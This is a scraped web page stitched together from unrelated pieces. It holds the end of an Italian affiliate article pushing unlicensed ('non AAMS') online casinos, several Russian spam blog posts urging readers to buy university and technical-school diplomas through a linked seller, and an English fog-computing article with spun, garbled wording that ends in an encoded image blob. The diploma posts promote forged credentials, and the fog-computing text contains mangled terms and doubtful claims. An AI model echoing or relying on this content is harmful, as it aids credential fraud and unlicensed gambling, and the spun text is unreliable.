<li>Gestisci il bankroll: imposta una puntata fissa pari al 2‑3 % del tuo capitale.  </li>
<li>Raggiungi il requisito di scommessa concentrandoti su giochi a bassa varianza per ridurre il rischio di perdita rapida.  </li>
</ol>
<p>Esempio: supponi di ricevere un bonus di €200 con requisito 20x. Dovrai scommettere €4 000. Se giochi a una slot con RTP del 96 % e una puntata di €10, ti serviranno circa 400 giri per completare il requisito, mantenendo il rischio contenuto.  </p>
<p>Did You Know? Alcuni casino online offrono bonus “no deposit” per i nuovi iscritti; questi sono perfetti per testare la piattaforma senza rischiare il proprio denaro.  </p>
<h2>Errori comuni da evitare quando si gioca con i bonus festivi</h2>
<p>Anche i giocatori più esperti possono incappare in trappole nascoste. Ecco le principali insidie da tenere a mente:  </p>
<ul>
<li>Ignorare i termini di scommessa: un requisito troppo alto può trasformare il bonus in una perdita certa.  </li>
<li>Giocare a giochi non eleggibili: molti bonus escludono le live roulette o i giochi con jackpot progressivo.  </li>
<li>Non rispettare i limiti di tempo: se la promozione scade prima di completare il wagering, il bonus viene annullato.  </li>
<li>Trascurare il supporto clienti: in caso di dubbi, è fondamentale contattare l’assistenza per chiarimenti.  </li>
</ul>
<p>Quick Win: imposta un promemoria sul tuo calendario per la scadenza del bonus; così eviterai sorprese dell’ultimo minuto.  </p>
<h2>Conclusione: scegli il partner giusto per i tuoi bonus</h2>
<p>Se vuoi sfruttare al massimo le offerte natalizie, affidati a una piattaforma che combina sicurezza, trasparenza e bonus vantaggiosi. Karol Wojtyla si distingue per la sua selezione di casino online stranieri affidabili, i bonus esclusivi e un’assistenza pronta a rispondere a ogni tua esigenza.  </p>
<p>Ricorda di giocare sempre in modo responsabile, impostando limiti di deposito e tempo di gioco.  </p>
<p>Pronto a iniziare? Scopri le offerte più interessanti e i casino non AAMS più affidabili su <a href="https://www.karol-wojtyla.org/">casino online non AAMS</a>. Con Karol Wojtyla avrai a disposizione tutti gli strumenti per trasformare i bonus festivi in vere opportunità di vincita.</p>
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<article id="post-910" class="post-910 post type-post status-publish format-standard hentry category-textstat">

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			<span class="posted-on">Posted on <a href="https://psp-wp-test.objectsdev.com/srochno-kupit-diplom-bakalavra-ili-magistra-bez-592/" rel="bookmark"><time class="entry-date published" datetime="2025-05-13T16:19:54+02:00">May 13, 2025</time><time class="updated" datetime="2025-05-13T16:32:49+02:00">May 13, 2025</time></a></span> <span class="post-author">by <a href="https://psp-wp-test.objectsdev.com/author/admin-pspwptest/" rel="author">admin-pspwptest</a></span> <span class="post-comments">&mdash; <a href="https://psp-wp-test.objectsdev.com/srochno-kupit-diplom-bakalavra-ili-magistra-bez-592/#respond">Leave a comment</a></span><h2 class="alpha entry-title"><a href="https://psp-wp-test.objectsdev.com/srochno-kupit-diplom-bakalavra-ili-magistra-bez-592/" rel="bookmark">Срочно купить диплом бакалавра или магистра – без риска</a></h2>		</header><!-- .entry-header -->
				<div class="entry-content">
		<p><h1>Срочно купить диплом бакалавра или магистра – без риска</h1>
<p>Купить диплом магистра. В современном мире получение высшего образования становится все более важным и востребованным. Все больше людей стремятся к получению диплома магистра, чтобы повысить свои профессиональные навыки и конкурентоспособность на рынке труда. Однако не всегда у людей есть возможность уделить достаточно времени и сил на обучение в университете. В таких случаях появляется соблазн приобрести диплом <a href="https://ru-diplomirovans.com/">перейти к источнику</a>  магистра.  Существует множество способов купить диплом магистра, но не все из них законны. Однако, есть и легальные способы приобретения диплома магистра, которые не нанесут ущерб вашей репутации и карьере. Один из таких способов &#8211; это обучение в заочной или дистанционной форме. Многие университеты предлагают возможность получить диплом <a href="https://ru-diplomirovans.com/%D0%B0%D1%82%D1%82%D0%B5%D1%81%D1%82%D0%B0%D1%82-11-%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D0%BE%D0%B2">https://ru-diplomirovans.com/%D0%B0%D1%82%D1%82%D0%B5%D1%81%D1%82%D0%B0%D1%82-11-%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D0%BE%D0%B2</a>  магистра, не посещая занятия в аудитории. Это удобный способ для занятых людей, которым трудно совместить работу и учебу.  Другой способ приобретения диплома <a href="https://ru-diplomirovans.com/">смотреть здесь</a>  магистра &#8211; это обучение в частном учебном заведении или учебном центре. Здесь вы сможете получить качественное образование и диплом при минимальных затратах времени и усилий. Однако, перед тем как выбрать учебное заведение, рекомендуется ознакомиться с его рейтингом и отзывами выпускников.  Также можно купить диплом магистра через интернет. Существует множество сайтов, которые предлагают услуги по приобретению дипломов высшего образования. Однако, не все из них являются надежными и можно столкнуться с мошенниками. Поэтому перед тем как заказать диплом магистра через интернет, стоит тщательно изучить информацию о компании и ее репутацию.  Несмотря на то, что приобретение диплома магистра не всегда является законным и честным способом, некоторые люди решаются на такой шаг из-за различных причин. Например, некоторым людям необходимо диплом магистра для продвижения по карьерной лестнице или получения повышения зарплаты. Другие же могут столкнуться с проблемами в процессе обучения и не иметь возможности закончить университет по различным причинам.  В любом случае, перед тем как принять решение о покупке диплома магистра, стоит тщательно взвесить все &#8220;за&#8221; и &#8220;против&#8221;. Важно помнить, что образование &#8211; это не только бумажка с красивым штампом, но и знания, навыки и опыт, которые вы получаете в процессе учебы. Поэтому, даже если у вас есть диплом магистра, но нет соответствующих знаний и навыков, он может оказаться бесполезным.  Таким образом, покупка диплома магистра может быть как легальным, так и нелегальным способом получения высшего образования. Важно помнить, что образование &#8211; это не только бумажка, а целый комплекс знаний, навыков и опыта, который вы приобретаете в процессе обучения. Поэтому перед тем как принять решение о покупке диплома магистра, стоит тщательно взвесить все &#8220;за&#8221; и &#8220;против&#8221; и выбрать наиболее подходящий для вас способ получения образования.</p>
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<article id="post-908" class="post-908 post type-post status-publish format-standard hentry category-textstat">

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			<span class="posted-on">Posted on <a href="https://psp-wp-test.objectsdev.com/srochno-kupit-diplom-bakalavra-ili-magistra-bez-342/" rel="bookmark"><time class="entry-date published" datetime="2025-05-13T16:19:51+02:00">May 13, 2025</time><time class="updated" datetime="2025-05-13T16:32:47+02:00">May 13, 2025</time></a></span> <span class="post-author">by <a href="https://psp-wp-test.objectsdev.com/author/admin-pspwptest/" rel="author">admin-pspwptest</a></span> <span class="post-comments">&mdash; <a href="https://psp-wp-test.objectsdev.com/srochno-kupit-diplom-bakalavra-ili-magistra-bez-342/#respond">Leave a comment</a></span><h2 class="alpha entry-title"><a href="https://psp-wp-test.objectsdev.com/srochno-kupit-diplom-bakalavra-ili-magistra-bez-342/" rel="bookmark">Срочно купить диплом бакалавра или магистра – без риска</a></h2>		</header><!-- .entry-header -->
				<div class="entry-content">
		<p><h1>Срочно купить диплом бакалавра или магистра – без риска</h1>
<p>Купить диплом техникума об окончании. Для многих людей важно иметь диплом об окончании техникума. Этот документ подтверждает их профессиональные навыки и знания, и может стать ключом к успешной карьере. Однако, не всегда получить диплом техникума можно легко и быстро. Некоторым людям может потребоваться дополнительное время и усилия для этого. В таких случаях им может помочь покупка диплома об окончании техникума.  Покупка диплома <a href="https://ru-diplomirovans.com/">перейти по ссылке</a>  об окончании техникума &#8211; это способ быстро и удобно получить нужный документ. Это может быть особенно полезно для тех, кто уже имеет опыт работы в своей области, но нуждается в документе, подтверждающем их знания и навыки. Кроме того, покупка диплома об окончании техникума может быть полезна для тех, кто из-за различных обстоятельств не смог закончить обучение.  Диплом <a href="https://ru-diplomirovans.com/%D0%B4%D0%B8%D0%BF%D0%BB%D0%BE%D0%BC-%D1%82%D0%B5%D1%85%D0%BD%D0%B8%D0%BA%D1%83%D0%BC%D0%B0">https://ru-diplomirovans.com/%D0%B4%D0%B8%D0%BF%D0%BB%D0%BE%D0%BC-%D1%82%D0%B5%D1%85%D0%BD%D0%B8%D0%BA%D1%83%D0%BC%D0%B0</a>  техникума &#8211; это не просто бумажка, это документ, который может открыть перед вами новые возможности. С его помощью вы можете улучшить свои шансы на трудоустройство или повысить свою квалификацию. Поэтому, <a href="https://ru-diplomirovans.com/%D0%B4%D0%B8%D0%BF%D0%BB%D0%BE%D0%BC-%D0%BC%D0%B0%D0%B3%D0%B8%D1%81%D1%82%D1%80%D0%B0-%D1%80%D0%BE%D1%81%D1%81%D0%B8%D0%B9%D1%81%D0%BA%D0%BE%D0%B3%D0%BE-%D0%B2%D1%83%D0%B7%D0%B0">https://ru-diplomirovans.com/%D0%B4%D0%B8%D0%BF%D0%BB%D0%BE%D0%BC-%D0%BC%D0%B0%D0%B3%D0%B8%D1%81%D1%82%D1%80%D0%B0-%D1%80%D0%BE%D1%81%D1%81%D0%B8%D0%B9%D1%81%D0%BA%D0%BE%D0%B3%D0%BE-%D0%B2%D1%83%D0%B7%D0%B0</a>  если у вас есть возможность купить диплом об окончании техникума, не стоит упускать этот шанс.  Однако, стоит помнить, что покупка диплома об окончании техникума не всегда является легким и безопасным способом. Важно выбирать надежных поставщиков услуг, чтобы избежать негативных последствий. Также следует помнить, что использование поддельного диплома может привести к проблемам в будущем.  К счастью, сегодня на рынке услуг есть множество проверенных компаний, которые предлагают услуги по покупке дипломов об окончании техникума. Они гарантируют качество и конфиденциальность, что делает процесс приобретения диплома быстрым и безопасным. Кроме того, такие компании часто предлагают различные варианты дипломов, что позволяет выбрать наиболее подходящий вариант.  При выборе компании для покупки диплома об окончании техникума стоит обратить внимание на ее репутацию и отзывы клиентов. Также важно удостовериться, что компания предоставляет все необходимые документы и гарантии качества. Не стоит доверять свои деньги и личные данные ненадежным поставщикам услуг.  В итоге, покупка диплома об окончании техникума может быть полезным и удобным способом получения нужного документа. Однако, важно обращать внимание на надежность и качество услуг, чтобы избежать негативных последствий. Правильно выбрав компанию-поставщика, вы сможете быстро и безопасно оформить диплом и открыть перед собой новые возможности.</p>
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<article id="post-906" class="post-906 post type-post status-publish format-standard hentry category-textstat">

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			<span class="posted-on">Posted on <a href="https://psp-wp-test.objectsdev.com/srochno-kupit-diplom-bakalavra-ili-magistra-bez-92/" rel="bookmark"><time class="entry-date published" datetime="2025-05-13T16:19:49+02:00">May 13, 2025</time><time class="updated" datetime="2025-05-13T16:32:44+02:00">May 13, 2025</time></a></span> <span class="post-author">by <a href="https://psp-wp-test.objectsdev.com/author/admin-pspwptest/" rel="author">admin-pspwptest</a></span> <span class="post-comments">&mdash; <a href="https://psp-wp-test.objectsdev.com/srochno-kupit-diplom-bakalavra-ili-magistra-bez-92/#respond">Leave a comment</a></span><h2 class="alpha entry-title"><a href="https://psp-wp-test.objectsdev.com/srochno-kupit-diplom-bakalavra-ili-magistra-bez-92/" rel="bookmark">Срочно купить диплом бакалавра или магистра – без риска</a></h2>		</header><!-- .entry-header -->
				<div class="entry-content">
		<p><h1>Срочно купить диплом бакалавра или магистра – без риска</h1>
<p>Купить диплом технического образования. Приобретение диплома технического образования &#8211; это один из способов получить нужное образование без необходимости проходить все этапы обучения. Многие люди ищут альтернативные пути получения диплома, чтобы ускорить свое профессиональное развитие или сменить сферу деятельности.   Приобретение диплома технического образования может быть полезным для тех, кто уже имеет опыт работы в этой <a href="https://ru-diplomirovans.com/%D0%B0%D1%82%D1%82%D0%B5%D1%81%D1%82%D0%B0%D1%82-11-%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D0%BE%D0%B2">купить аттестаты за 11</a>  области, но не имеет соответствующего образования. Это также может быть полезно для тех, кто хочет улучшить свои карьерные возможности или получить новые навыки и знания.   Процесс покупки диплома <a href="https://ru-diplomirovans.com/%D0%B0%D1%82%D1%82%D0%B5%D1%81%D1%82%D0%B0%D1%82-11-%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D0%BE%D0%B2">купить аттестат 11 класс</a>  технического образования может быть довольно простым и удобным. Вам нужно найти надежного поставщика услуг, который предлагает качественные дипломы по доступной цене. После того, как вы выбрали подходящего поставщика, вам нужно будет предоставить необходимую информацию о вашем образовании и опыте работы.   После того, как вы предоставите всю необходимую информацию, вам будет предложено оплатить услугу и в течение короткого времени вы получите свой диплом <a href="https://ru-diplomirovans.com/%D0%B0%D1%82%D1%82%D0%B5%D1%81%D1%82%D0%B0%D1%82-9-%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D0%BE%D0%B2">https://ru-diplomirovans.com/%D0%B0%D1%82%D1%82%D0%B5%D1%81%D1%82%D0%B0%D1%82-9-%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D0%BE%D0%B2</a>  технического образования. Этот процесс обычно занимает несколько дней или недель, в зависимости от поставщика услуг.   Покупка диплома технического образования может быть выгодным вложением в ваше будущее. Это дает вам возможность улучшить свои шансы на рынке труда и продвигаться в своей карьере. Кроме того, это позволяет вам получить новые знания и навыки, которые могут быть полезными в вашей профессиональной деятельности.   Однако важно помнить, что приобретение диплома технического образования не заменяет реального обучения и опыта работы. Это лишь дополнительный инструмент, который помогает вам достичь ваших целей быстрее и эффективнее.   Также стоит отметить, что приобретение диплома технического образования может быть нелегальным и негативно отразиться на вашей репутации. Поэтому важно тщательно выбирать поставщика услуг и убедиться, что он предлагает качественные дипломы, которые не вызовут подозрений у работодателей.   В целом, покупка диплома технического образования может быть полезным инструментом для тех, кто стремится к профессиональному росту и развитию. Однако важно помнить, что это лишь дополнительный инструмент, который не заменяет реального обучения и опыта работы.</p>
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<article id="post-904" class="post-904 post type-post status-publish format-standard hentry category-software-development-2">

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			<span class="posted-on">Posted on <a href="https://psp-wp-test.objectsdev.com/what-s-fog-computing-connecting-the-cloud-to/" rel="bookmark"><time class="entry-date published" datetime="2025-05-13T15:54:43+02:00">May 13, 2025</time><time class="updated" datetime="2025-05-13T16:08:04+02:00">May 13, 2025</time></a></span> <span class="post-author">by <a href="https://psp-wp-test.objectsdev.com/author/admin-pspwptest/" rel="author">admin-pspwptest</a></span> <span class="post-comments">&mdash; <a href="https://psp-wp-test.objectsdev.com/what-s-fog-computing-connecting-the-cloud-to/#respond">Leave a comment</a></span><h2 class="alpha entry-title"><a href="https://psp-wp-test.objectsdev.com/what-s-fog-computing-connecting-the-cloud-to/" rel="bookmark">What&#8217;s Fog Computing? Connecting The Cloud To Things</a></h2>		</header><!-- .entry-header -->
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		<p>Information storage is another <a href="https://www.globalcloudteam.com/">https://www.globalcloudteam.com/</a> necessary difference between cloud computing and fog computing. In fog computing less data demands quick cloud storage, so customers can instead subject information to strategic compilation and distribution rules designed to boost efficiency and reduce prices. By finding these nearer to devices, somewhat than establishing in-cloud channels for utilization and storage, customers mixture bandwidth at entry points such as routers. This in turn reduces the overall need for bandwidth, as much less information may be transmitted away from data centers, throughout cloud channels and distances.</p>
<h2>Synthetic Intelligence</h2>
<p>Distribute computational sources throughout a number of fog nodes to stop single factors of failure and ensure redundancy. Implement load balancing mechanisms to distribute workloads efficiently and optimize resource utilization. Additionally, contemplate factors like fault tolerance, knowledge replication, and catastrophe recovery to reinforce system reliability. Fog computing addresses this by creating a layer of intermediate nodes between the cloud and edge devices, bringing processing nearer to the user.</p>
<p>The HEAVY.AI platform&#8217;s basis is HEAVY.AIDB, the quickest open-source, analytics database on the earth. Using each CPU and GPU energy, HEAVY.AIDB returns SQL query leads to <a href="https://www.globalcloudteam.com/fog-computing-vs-cloud-computing-definition-key-differences/">what is cloud computing and fog computing</a> milliseconds—even through the analysis of billions of rows of data. Cisco, Microsoft, Dell, Intel, Arm, and Princeton University collaborated to develop the OpenFog Collaboration. General Electrical (GE), Foxconn Technology Group, and Hitachi are more corporations that participated in the partnership. In 2019, the Industrial Web Collaboration (IIC) and the OpenFog Consortium (OFC) mixed. IONOS is the new worth performance chief in cloud computing, as unveiled by Cloud Mercato in July 2024.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="405px" alt="fog computing meaning" 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